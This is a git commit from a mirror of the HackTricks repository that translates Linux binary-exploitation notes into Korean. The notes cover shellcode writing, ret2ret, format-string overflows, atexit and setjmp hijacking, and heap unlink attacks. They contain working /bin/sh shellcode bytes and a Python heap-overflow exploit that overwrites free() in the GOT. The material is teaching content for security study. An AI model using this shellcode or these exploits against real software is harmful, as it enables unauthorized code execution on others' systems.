mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
parent
3b5a5a38d4
commit
30222a370e
16 changed files with 682 additions and 441 deletions
|
@ -700,8 +700,9 @@
|
|||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2ret & Reo2pop](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
|
||||
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
|
||||
|
@ -717,10 +718,11 @@
|
|||
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [BF Forked & Threaded Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AWS2Exec - .dtors & .fini\_array](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini\_array.md)
|
||||
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||
|
|
|
@ -2,36 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; clear eax\
|
||||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Execute syscall
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Gives us an executable formed by the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Verify that the shellcode works**
|
||||
**Comprobar que la shellcode funciona**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -43,7 +43,7 @@ fp();
|
|||
```
|
||||
시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 **strace ./COMPILADO_프로그램**에 나타나야 합니다.
|
||||
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 동시에 EIP를 스택에 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있으며 코드 실행을 계속할 수 있습니다.
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 스택에 EIP를 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있고 코드 실행을 계속할 수 있습니다.
|
||||
|
||||
예시 **트릭 (/bin/sh)**:
|
||||
```
|
||||
|
@ -87,7 +87,7 @@ mov al, 0x0b ; Syscall 11
|
|||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
EJ FNSTENV는 ESP 레지스터를 복사하고, 해당 레지스터가 가리키는 주소에 있는 값을 스택에 푸시하는 명령어입니다.
|
||||
EJ FNSTENV는 목표로 하는 메모리 주소에 현재 FPU 상태를 저장하는 데 사용됩니다.
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
|
@ -100,7 +100,7 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
|
||||
**다형 셸코드**
|
||||
|
||||
작은 코드로 암호화된 셸들로, 해독하고 해당 코드로 이동하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하는 경우 **시저 암호화된 예제**가 될 것입니다:
|
||||
암호화된 셸을 나타내는 작은 코드가 포함되어 있으며 해당 코드를 해독하고 해당 코드로 이동하는 셸입니다. Call-Pop 트릭을 사용하는 Caesar 암호화된 예제가 있습니다:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -121,64 +121,21 @@ sc:
|
|||
```
|
||||
## **5. 보충 기법**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
EIP에 스택 주소를 넣을 수 없거나 (EIP에 0xbf가 포함되어 있지 않음을 확인) 또는 shellcode의 위치를 계산할 수 없을 때 유용합니다. 그러나 취약한 함수가 매개변수를 수용하는 경우 (shellcode가 여기에 들어갑니다).
|
||||
|
||||
이렇게 하면 EIP를 **ret** 주소로 변경하면 다음 주소가로드됩니다 (이는 함수의 첫 번째 인수의 주소입니다). 즉, shellcode가로드됩니다.
|
||||
|
||||
Exploit은 다음과 같습니다: SHELLCODE + 패딩 (EIP까지) + **\&ret** (스택에 매개변수가 전달된 주소가 들어가므로 스택의 다음 바이트는 shellcode의 시작을 가리킵니다)
|
||||
|
||||
**strncpy**와 같은 함수는 완료되면 쉘코드가 저장된 주소를 스택에서 제거하여 이 기술을 불가능하게 합니다. 즉, 함수에 전달된 주소 (쉘코드를 저장하는 주소)는 0x00으로 수정되어 두 번째 **ret**를 호출할 때 0x00을 만나 프로그램이 종료됩니다.
|
||||
|
||||
|
||||
|
||||
**Murat 기술**
|
||||
|
||||
Linux에서 모든 프로그램은 0xbfffffff에서 매핑됩니다.
|
||||
**Murat 기법**
|
||||
|
||||
새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면 프로그램이 shellcode만 있는 환경에서 시작되도록 exploit을 개발할 수 있습니다. 따라서 이것의 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(FULL\_실행파일\_이름) - strlen(shellcode)
|
||||
리눅스에서 모든 프로그램은 0xbfffffff부터 매핑됩니다.
|
||||
|
||||
이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면, 프로그램이 쉘코드만 있는 환경에서 실행되도록 exploit을 개발할 수 있습니다. 따라서 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
|
||||
이것은 execle 함수가 원하는 환경 변수만을 가진 환경을 만들 수 있기 때문에 가능합니다.
|
||||
이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
|
||||
**정수 오버플로우**
|
||||
이것은 execle 함수가 원하는 환경 변수만 가지고 있는 환경을 만들 수 있기 때문에 가능합니다.
|
||||
|
||||
이 유형의 오버플로우는 변수가 전달된 숫자만큼 큰 수를 처리할 수 없을 때 발생하며, 부호 있는 변수와 부호 없는 변수 간의 혼란 때문에 발생할 수 있습니다.
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(int argc, char *argv[]){
|
||||
int len;
|
||||
unsigned int l;
|
||||
char buffer[256];
|
||||
int i;
|
||||
len = l = strtoul(argv[1], NULL, 10);
|
||||
printf("\nL = %u\n", l);
|
||||
printf("\nLEN = %d\n", len);
|
||||
if (len >= 256){
|
||||
printf("\nLongitus excesiva\n");
|
||||
exit(1);
|
||||
}
|
||||
if(strlen(argv[2]) < l)
|
||||
strcpy(buffer, argv[2]);
|
||||
else
|
||||
printf("\nIntento de hack\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
이전 예제에서 볼 수 있듯이 프로그램은 2개의 매개변수를 예상합니다. 첫 번째는 다음 문자열의 길이이고 두 번째는 문자열입니다.
|
||||
|
||||
첫 번째 매개변수로 음수를 전달하면 len < 256이라는 메시지가 표시되어 해당 필터를 통과하게 되며, 또한 strlen(buffer)도 l보다 작을 것이며, l은 unsigned int이므로 매우 크게 될 것입니다.
|
||||
|
||||
이러한 종류의 오버플로우는 프로그램의 프로세스에 무언가를 쓰려는 것이 아니라, 다른 취약점을 악용하기 위해 잘못 설계된 필터를 우회하는 것을 목표로 합니다.
|
||||
|
||||
**초기화되지 않은 변수**
|
||||
|
||||
초기화되지 않은 변수가 취할 수 있는 값을 알 수 없으며, 이를 관찰하는 것이 흥미로울 수 있습니다. 이 변수가 이전 함수의 변수가 취했던 값이 될 수 있고, 이는 공격자에 의해 제어될 수 있습니다.
|
||||
|
||||
##
|
||||
|
||||
|
@ -188,89 +145,42 @@ return 0;
|
|||
|
||||
###
|
||||
|
||||
### **.fini\_array**
|
||||
###
|
||||
|
||||
본질적으로 이는 **프로그램이 끝나기 전에 호출될 함수**를 포함하는 구조체입니다. 이는 **주소로 점프하여 쉘코드를 호출**하거나 형식 문자열을 **두 번째로 악용하기 위해 다시 main으로 돌아가야 하는 경우**에 유용합니다.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
### **버퍼 오버플로우를 위한 형식 문자열**
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 메인으로 돌아가면 canary가 감지하여 스택의 끝이 손상되고 함수가 다시 호출되지 않을 것입니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
|
||||
### **콘텐츠 덤프를 위한 형식 문자열**
|
||||
|
||||
형식 문자열은 프로그램 메모리에서 **콘텐츠를 덤프**하는 데 악용될 수 있습니다.\
|
||||
예를 들어, 다음 상황에서는 **플래그를 가리키는 스택의 로컬 변수**가 있습니다. **메모리**에서 **플래그를 가리키는 포인터**가 어디에 있는지 **찾으면**, **printf가 해당 주소에 액세스**하고 **플래그를 출력**할 수 있습니다:
|
||||
|
||||
그래서, 플래그는 **0xffffcf4c**에 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||||
|
||||
그리고 누출에서 **플래그를 가리키는 포인터**가 **8번째** 매개변수에 있는 것을 볼 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (623).png>)
|
||||
|
||||
따라서 **8번째 매개변수에 액세스**하면 플래그를 얻을 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
**이전 exploit을 따라가고 콘텐츠를 누출할 수 있다는 것을 깨닫고** `printf`에 **포인터를 설정**하여 **실행 파일이 로드된 섹션으로 포인터를 설정**하고 **전체적으로 덤프**할 수 있습니다!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
{% hint style="danger" %}
|
||||
요즘에는 dtor 섹션이 있는 이진 파일을 찾기가 매우 **이상**합니다.
|
||||
{% endhint %}
|
||||
|
||||
소멸자는 프로그램이 **종료되기 전에 실행되는 함수**입니다.\
|
||||
**`__DTOR_END__`**에 **쉘코드의 주소를 쓰는 데 성공**하면 해당 프로그램이 종료되기 전에 실행됩니다.\
|
||||
이 섹션의 주소를 얻으려면:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
일반적으로 **DTOR** 섹션은 값 `ffffffff`와 `00000000` 사이에 **위치**합니다. 따라서 이러한 값만 보인다면, **등록된 함수가 없다는 것**을 의미합니다. 따라서 **`00000000`**을 **쉘코드의 주소로 덮어씁니다**.
|
||||
|
||||
### **포맷 문자열을 이용한 버퍼 오버플로우**
|
||||
|
||||
**sprintf**는 형식화된 문자열을 **변수에 이동**시킵니다. 따라서 문자열의 **형식을 남용**하여 복사된 내용이 있는 변수에서 **버퍼 오버플로우를 유발**할 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 **44바이트+"AAAA"를 쓸 것**이며, 이는 버퍼 오버플로우를 유발할 수 있습니다.
|
||||
**sprintf**는 형식화된 문자열을 변수로 이동시킵니다. 따라서 문자열의 형식을 남용하여 복사된 내용이 포함된 변수에서 버퍼 오버플로우를 발생시킬 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 44B+"AAAA"를 쓸 수 있으며 이는 버퍼 오버플로우를 일으킬 수 있습니다.
|
||||
|
||||
### **\_\_atexit 구조체**
|
||||
|
||||
{% hint style="danger" %}
|
||||
현재는 이를 **악용하는 것이 매우 이상합니다**.
|
||||
현재는 이를 exploit하는 것이 매우 드문 일입니다.
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`**은 **매개변수로 전달된 다른 함수들**이 **`exit()`를 실행하거나 main이 반환될 때 실행**됩니다.\
|
||||
예를 들어, 이러한 **함수들의 주소를 수정**하여 쉘코드를 가리키도록 변경할 수 있다면, **프로세스를 제어**할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 **실행될 함수들의 주소**는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 그 주소는 함수들의 주소가 아니라 **XOR로 암호화**되고 **임의의 키로 이동**됩니다. 따라서 현재 이 공격 벡터는 **적어도 x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
|
||||
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 **입력과 동일한 값을 반환**하기 때문에 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.
|
||||
**`atexit()`**는 다른 함수들이 매개변수로 전달되는 함수입니다. 이러한 함수들은 **`exit()`를 실행하거나 main이 반환될 때 실행됩니다.**\
|
||||
예를 들어, 이러한 함수들 중 하나의 주소를 쉘코드를 가리키도록 수정할 수 있다면 프로세스를 제어할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 실행할 함수들의 주소는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 가리키는 주소는 함수들의 주소가 아니라 **XOR로 암호화되고 무작위 키로 이동된 주소입니다.** 따라서 현재 이 공격 벡터는 적어도 x86 및 x64\_86에서는 매우 유용하지 않습니다.\
|
||||
암호화 함수는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
{% hint style="danger" %}
|
||||
현재는 이를 **악용하는 것이 매우 이상합니다**.
|
||||
현재는 이를 exploit하는 것이 매우 드문 일입니다.
|
||||
{% endhint %}
|
||||
|
||||
**`Setjmp()`**는 **컨텍스트(레지스터)를 저장**할 수 있습니다.\
|
||||
**`longjmp()`**는 **컨텍스트를 복원**할 수 있습니다.\
|
||||
저장된 레지스터는 `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\
|
||||
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로, 이 공격에 취약한 아키텍처는 **위에서 언급한 것과 동일**합니다.\
|
||||
이들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
|
||||
저장된 레지스터는: `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\
|
||||
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로 이 공격에 취약한 아키텍처는 위와 동일합니다.\
|
||||
이러한 함수들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 제가 읽은 바에 의하면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
|
||||
|
||||
**VTable 및 VPTR in C++**
|
||||
**C++의 VTable 및 VPTR**
|
||||
|
||||
각 클래스에는 **메서드에 대한 포인터 배열인 Vtable**이 있습니다.
|
||||
각 클래스에는 메서드를 가리키는 포인터 배열인 **Vtable**이 있습니다.
|
||||
|
||||
각 **클래스**의 객체에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 더미 메서드를 가리키도록 수정할 수 있어 함수를 실행하면 쉘코드로 이동할 수 있습니다.
|
||||
각 클래스의 **객체**에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 **VPtr을 덮어쓰면** 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다.
|
||||
|
||||
## **예방 및 회피 조치**
|
||||
|
||||
|
@ -282,21 +192,21 @@ rabin -s /exec | grep “__DTOR”
|
|||
또는\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 해당되지 않음, 정적 컴파일은 해당되지 않음, 모든 취약한 함수가 안전한 함수로 변환되지 않음, LD\_PRELOAD는 setuid 바이너리에서 작동하지 않음).
|
||||
일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 아님, 정적 컴파일은 아님, 모든 취약한 함수가 안전한 함수로 변환되지는 않음, LD\_PRELOAD는 suid 바이너리에서 작동하지 않음).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 사실상 거의 모든 공격을 막지 못하며, 리틀 엔디안에서는 특히 그렇습니다.
|
||||
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 거의 모든 공격을 막지 못하며 리틀 엔디안에서는 특히 그렇습니다.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 호출하려는 함수(system())의 첫 번째 바이트를 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소(system()일 것)를 호출합니다.
|
||||
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 함수의 첫 번째 바이트를 system()으로 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소인 system()을 호출합니다.
|
||||
|
||||
**chroot()로 감옥 만들기**
|
||||
**chroot()를 사용한 감옥**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다.
|
||||
|
||||
관리자는 이러한 감옥 중 하나에서 나오려면 다음을 수행합니다: mkdir foo; chroot foo; cd ..
|
||||
관리자는 이러한 감옥에서 나갈 수 있습니다: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**코드 인스트루먼테이션**
|
||||
|
||||
|
@ -304,7 +214,60 @@ Valgrind —> 오류 찾기\
|
|||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||||
|
||||
## **8 힙 오버플로우: 기본 exploit**
|
||||
|
||||
**할당된 청크**
|
||||
|
||||
prev\_size |\
|
||||
size | —헤더\
|
||||
\*mem | 데이터
|
||||
|
||||
**빈 청크**
|
||||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | 다음 청크를 가리키는 포인터\
|
||||
\*bk | 이전 청크를 가리키는 포인터 —헤더\
|
||||
\*mem | 데이터
|
||||
|
||||
빈 청크는 이중 연결 목록(bin)에 있으며 두 개의 빈 청크가 연속해서 있을 수 없습니다.
|
||||
|
||||
"size"에는 다음을 나타내는 비트가 있습니다: 이전 청크가 사용 중인지, 청크가 mmap()을 통해 할당되었는지, 청크가 기본 arena에 속하는지.
|
||||
|
||||
청크를 해제할 때 인접한 청크 중 하나가 빈 상태인 경우, unlink() 매크로를 통해 이들이 병합되고 새로운 가장 큰 청크가 frontlink()에 전달되어 적절한 bin에 삽입됩니다.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> 새로운 청크의 BK는 이전에 빈 상태였던 청크의 BK입니다.\
|
||||
FD = P->fd; —> 새로운 청크의 FD는 이전에 빈 상태였던 청크의 FD입니다.\
|
||||
FD->bk = BK; —> 다음 청크의 BK가 새로운 청크를 가리킵니다.\
|
||||
BK->fd = FD; —> 이전 청크의 FD가 새로운 청크를 가리킵니다.\
|
||||
}
|
||||
|
||||
따라서 P->bk를 쉘코드의 주소로, P->fd를 GOT 또는 DTORS 항목의 주소에서 12를 뺀 주소로 수정하면 다음을 달성할 수 있습니다:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
이렇게 하면 프로그램을 종료할 때 쉘코드가 실행됩니다.
|
||||
|
||||
또한, unlink()의 4번째 문은 무언가를 쓰며, 쉘코드는 이를 위해 수정되어야 합니다:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 이로 인해 쉘코드의 8번째 바이트부터 4바이트가 쓰여지므로 쉘코드의 첫 번째 명령은 이를 건너뛰고 나머지 쉘코드로 이동하는 노프로 이어져야 합니다.
|
||||
|
||||
따라서 exploit은 다음과 같이 생성됩니다:
|
||||
|
||||
버퍼1에는 노프 또는 쉘코드의 나머지로 이어지는 jmp로 시작하는 쉘코드를 넣습니다.
|
||||
|
||||
쉘 코드 뒤에는 prev\_size 및 다음 청크의 size에 도달할 때까지 채우기를 추가합니다. 이러한 위치에는 0xfffffff0(이전 청크가 빈 상태임을 나타내는 비트가 설정됨) 및 "-4"(0xfffffffc)를 넣습니다(size를 수정하여 2번째 청크가 실제로 빈 상태임을 알게 하기 위함) -> 따라서 free()가 조사할 때 3번째 청크의 size로 이동하지만 실제로는 2번째 청크 - 4로 이동하여 2번째 청크가 빈 상태인 것으로 생각합니다. 그런 다음 **unlink()**를 호출합니다.
|
||||
unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용하므로 덮어쓰려는 주소가 거기에 들어갑니다. - 12(왜냐하면 FD->bk에는 FD에 저장된 주소에 12를 더할 것이기 때문입니다). 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣어야 하는데, 이는 쉘코드 주소(P->bk 가짜)여야 합니다.
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
|
@ -312,73 +275,73 @@ Insure++
|
|||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #이전 청크가 비어 있다고 표시하는 비트가 1인 것이 중요**
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #이전 조각이 비어 있는지를 나타내는 비트가 1이어야 함**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3번째 청크의 "size"가 4바이트 뒤에 있다고 생각하게끔 함 (prev\_size를 가리킴)**
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3번째 조각의 "size"가 4바이트 뒤에 있다고 생각하게끔 함(2번째 조각이 비어 있는지 확인하는 위치인 prev\_size를 가리킴)**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 채우기를 넣음**
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트 패딩을 넣음**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt-12의 free() 주소 (free가 두 번째로 호출될 때 shellcode가 실행되도록 덮어씌워질 주소)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt의 free() 주소-12(2번째 free() 호출 시 쉘코드가 실행되도록 덮어쓸 주소)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #페이로드는 8바이트의 채우기로 시작함**
|
||||
